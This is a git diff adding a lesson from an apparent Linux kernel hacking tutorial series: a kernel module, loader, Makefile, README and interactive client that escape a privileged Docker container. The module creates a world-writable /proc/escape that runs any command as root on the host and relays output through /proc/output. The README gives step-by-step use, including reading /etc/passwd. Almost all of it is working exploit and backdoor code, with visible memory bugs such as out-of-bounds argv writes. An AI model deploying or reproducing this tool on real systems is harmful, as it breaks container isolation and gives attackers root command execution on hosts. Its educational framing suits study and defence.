diff --git a/3_RootkitTechniques/3.8_privileged_container_escaping/Makefile b/3_RootkitTechniques/3.8_privileged_container_escaping/Makefile new file mode 100644 index 0000000..31a34cd --- /dev/null +++ b/3_RootkitTechniques/3.8_privileged_container_escaping/Makefile @@ -0,0 +1,23 @@ +obj-m += escape.o +kmod_name = escape + +all: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules + echo "#include " > tmp.c + echo "#include " >> tmp.c + echo "#include " >> tmp.c + echo "" >> tmp.c + xxd -i $(kmod_name).ko >> tmp.c + echo "const char args[] = \"\\\0\";" >> tmp.c + echo "" >> tmp.c + cat stub.c >> tmp.c + cat tmp.c | sed 's/example_ko/$(kmod_name)_ko/g' > load.c + rm tmp.c + gcc -o escape load.c + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + gcc -o execute execute.c + rm load.c + +clean: + make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean + rm execute escape diff --git a/3_RootkitTechniques/3.8_privileged_container_escaping/README.md b/3_RootkitTechniques/3.8_privileged_container_escaping/README.md new file mode 100644 index 0000000..89cd763 --- /dev/null +++ b/3_RootkitTechniques/3.8_privileged_container_escaping/README.md @@ -0,0 +1,25 @@ +# Linux Kernel Hacking + +## 3.8: Privileged Container Escapes + +When privileged Linux containers attempt to load kernel modules, the modules are loaded into the host's kernel (because there is only *one* kernel, unlike VMs). This provides a route to an easy container escape. + +Unlike other techniques, this module doesn't contain any syscalls hooks, but merely creates two new proc files; `/proc/escape` and `/proc/output`. + +* `/proc/escape` only answers to write requests and simply executes anything that's passed to it via [`call_usermodehelper()`](https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html). +* `/proc/output` just takes input and stores it in a buffer when written to, then returns that buffer when it's read from - essentially acting a like a file that both the container and the host can read/write to. + +The clever part is that anything we write to `/proc/escape` gets sandwiched into `/bin/sh -c > /proc/output`. This means that the command is run under `/bin/sh` and the output is redirected to `/proc/output`, which we can then read from within the container. + +Once the module is loaded, you can simply `echo "cat /etc/passwd" > /proc/escape` and then get the result via `cat /proc/output`. Alternatively, you can use the `execute` program to give yourself a makeshift shell (albeit an extraordinarily basic one). + +The only caveat is that we cannot be sure that the container has `kmod` installed (which provides `insmod` and `rmmod`). To overcome this, after building the kernel module, we load it's byte array into a C program, which then uses the `init_module()` syscall to load the module into the kernel without needing `insmod`. If you're interested, take a look at the Makefile. + +To use: +* Build with `make` +* Start a privileged docker container with `docker run -it --privileged --hostname docker --mount "type=bind,src=$PWD,dst=/root" ubuntu` +* `cd /root` in the new container +* Insert the kernel module with `./escape` +* Run `./execute`! + +![escape](./escape.png) diff --git a/3_RootkitTechniques/3.8_privileged_container_escaping/escape.c b/3_RootkitTechniques/3.8_privileged_container_escaping/escape.c new file mode 100644 index 0000000..61e78ec --- /dev/null +++ b/3_RootkitTechniques/3.8_privileged_container_escaping/escape.c @@ -0,0 +1,234 @@ +/* + * Linux Privileged Container Escape + * + * After building, load with 'insmod escape.ko' + * Then 'echo "cat /etc/passwd" > /proc/escape' will execute + * 'cat /etc/passwd' as root and send the output to /proc/output + * Read /proc/output just like any normal file + */ + +#include +#include +#include +#include +#include +#include + +MODULE_LICENSE("GPL"); +MODULE_AUTHOR("Xcellerator"); +MODULE_DESCRIPTION("Privileged Container Escape"); +MODULE_VERSION("0.01"); + +struct proc_dir_entry *proc_file_entry_escape; +struct proc_dir_entry *proc_file_entry_output; + +char *argv[2]; +char *envp[3]; + +char *cmd_output = NULL; +int cmd_output_len = 0; + +/* + * Execute a process in userspace + */ +int handle_cmd(void) +{ + int ret; + + /* + * If, for some reason, we get called before a command is set, just return + */ + if(argv[0] == NULL) + return 0; + + /* + * Execute the command stored in argv + */ + ret = call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); + return ret; +} + +/* + * Grab the string written to /proc/escape, parse it, execute it in userland, + * redirecting output to /proc/output for saving + */ +ssize_t escape_write(struct file *file, const char *buf, size_t len, loff_t *offset) +{ + int ret; + char *kbuf = NULL; + long error; + char *suffix = " > /proc/output"; + char *command ; + + /* + * Allocate a kernel buffer to read the command input into + */ + kbuf = kzalloc(len, GFP_KERNEL); + error = copy_from_user(kbuf, buf, len-1); + + if(error) + return -1; + + /* + * call_usermodehelper() requires an array of arguments (argv) + * We're executing /bin/sh -c 'COMMAND > /proc/output' + */ + argv[0] = "/bin/sh"; + argv[1] = "-c"; + argv[2] = kzalloc(len+16, GFP_KERNEL); + + strncpy(argv[2], kbuf, len-1); + strcat(argv[2], suffix); + + /* + * Execute the command stored in argv + */ + printk(KERN_DEBUG "escape: executing %s %s %s\n", argv[0], argv[1], argv[2]); + ret = handle_cmd(); + + /* + * Cleanup and return + */ + kfree(kbuf); + kfree(command); + return len; +} + +/* + * Take a buffer from userspace and copy it into the kernel buffer cmd_output + */ +ssize_t output_write(struct file *file, const char *buf, size_t len, loff_t *offset) +{ + long error; + + /* + * If cmd_output is already allocated, free it so we can reallocate it with a new size + */ + if(cmd_output_len != 0) + kfree(cmd_output); + + /* + * Allocate cmd_output with size len (from user) + */ + cmd_output = kzalloc(len, GFP_KERNEL); + + /* + * Copy buffer from userspace into cmd_output + */ + error = copy_from_user(cmd_output, buf, len); + if(error) + return -1; + + /* + * Update cmd_output_len to the size of the buffer from userspace + */ + cmd_output_len = len; + + return len; +} + +/* + * Copy the cmd_output buffer into the buf provided by userspace + */ +ssize_t output_read(struct file *file, char *buf, size_t len, loff_t *offset) +{ + int ret; + char *kbuf = NULL; + long error; + static int finished = 0; + + /* + * Allocate a new kernel buffer and copy into our new kernel buffer + * so we don't touch cmd_output unnecessarily + */ + kbuf = kzalloc(cmd_output_len, GFP_KERNEL); + strncpy(kbuf, cmd_output, cmd_output_len); + + /* + * Copy the kernel buffer back to userspace + * If we're done, then we return 0 to indicate the userland + * process to stop reading. + */ + if ( finished ) + { + /* + * No more bytes to return, so tell userland we're done + * by returning 0 + */ + finished = 0; + ret = 0; + goto out; + } + else + { + /* + * Copy the kernel buffer back to userspace and return the length + */ + finished = 1; + error = copy_to_user(buf, kbuf, cmd_output_len); + if(error) + return -1; + ret = cmd_output_len; + goto out; + } + + /* + * All done - free the kernel buffer and return + */ +out: + kfree(kbuf); + return ret; +} + +/* + * structs for the 2 procfs files we need + */ +static const struct file_operations proc_file_fops_escape = { + .owner = THIS_MODULE, + .write = escape_write, +}; + +static const struct file_operations proc_file_fops_output = { + .owner = THIS_MODULE, + .read = output_read, + .write = output_write, +}; + +/* + * LKM init function + */ +static int __init escape_init(void) +{ + printk(KERN_INFO "escape: loaded\n"); + + /* + * create the proc entries + */ + proc_file_entry_escape = proc_create("escape", 0666, NULL, &proc_file_fops_escape); + proc_file_entry_output = proc_create("output", 0666, NULL, &proc_file_fops_output); + + /* + * check for failures + */ + if( (proc_file_entry_escape == NULL) || (proc_file_entry_output == NULL) ) + return -ENOMEM; + + return 0; +} + +/* + * LKM exit function + */ +static void __exit escape_exit(void) +{ + /* + * Free the cmd_output buffer and delete the proc entries + */ + kfree(cmd_output); + remove_proc_entry("escape", NULL); + remove_proc_entry("output", NULL); + printk(KERN_INFO "escape: unloaded\n"); +} + +module_init(escape_init); +module_exit(escape_exit); diff --git a/3_RootkitTechniques/3.8_privileged_container_escaping/escape.png b/3_RootkitTechniques/3.8_privileged_container_escaping/escape.png new file mode 100644 index 0000000..eae1c8d --- /dev/null +++ b/3_RootkitTechniques/3.8_privileged_container_escaping/escape.png Binary files differ diff --git a/3_RootkitTechniques/3.8_privileged_container_escaping/execute.c b/3_RootkitTechniques/3.8_privileged_container_escaping/execute.c new file mode 100644 index 0000000..1eeaddf --- /dev/null +++ b/3_RootkitTechniques/3.8_privileged_container_escaping/execute.c @@ -0,0 +1,83 @@ +#include +#include +#include +#include + +/* + * Write a string to the /proc/escape file + * This will be executed and the output sent to /proc/output + */ +int send_command(char *command) +{ + FILE *escape = fopen("/proc/escape", "w+"); + int fd = fileno(escape); + + /* Flush the cache for good measure */ + fprintf(escape, "%s\n", command); + fsync(fd); + + fclose(escape); + return 0; +} + +/* + * Open and print whatever is in /proc/output + */ +int print_output(void) +{ + FILE *output = fopen("/proc/output", "r");; + char c; + + while( (c = fgetc(output)) != EOF ) + printf("%c",c); + + fclose(output); + return 0; +} + +/* + * Check escape.ko has been loaded, wait for input and loop + * sending commands to /proc/escape and printing output from + * /proc/output + */ +int main(void) +{ + char *command; + command = malloc(255); + + if( access("/proc/escape", F_OK) == -1 ) + { + printf("Please run ./escape first\n"); + goto done; + } + + /* + * Main loop + */ + while( 1 ) + { + printf("# "); + scanf(" %[^\n]", command); + + /* + * Check for "exit" command + */ + if ( strcmp(command, "exit") == 0 ) + goto done; + + /* + * Send to helper functions + * We wait in between to allow IO to flush + */ + send_command(command); + sleep(1); + print_output(); + } + +done: + /* + * Cleanup and exit + */ + free(command); + return 0; +} diff --git a/3_RootkitTechniques/3.8_privileged_container_escaping/stub.c b/3_RootkitTechniques/3.8_privileged_container_escaping/stub.c new file mode 100644 index 0000000..e70313a --- /dev/null +++ b/3_RootkitTechniques/3.8_privileged_container_escaping/stub.c @@ -0,0 +1,14 @@ +int main(void) +{ + int result; + + result = init_module(example_ko, example_ko_len, args); + + if( result != 0 ) + { + printf("Error: %d\n", result); + return(-1); + } + + return(0); +}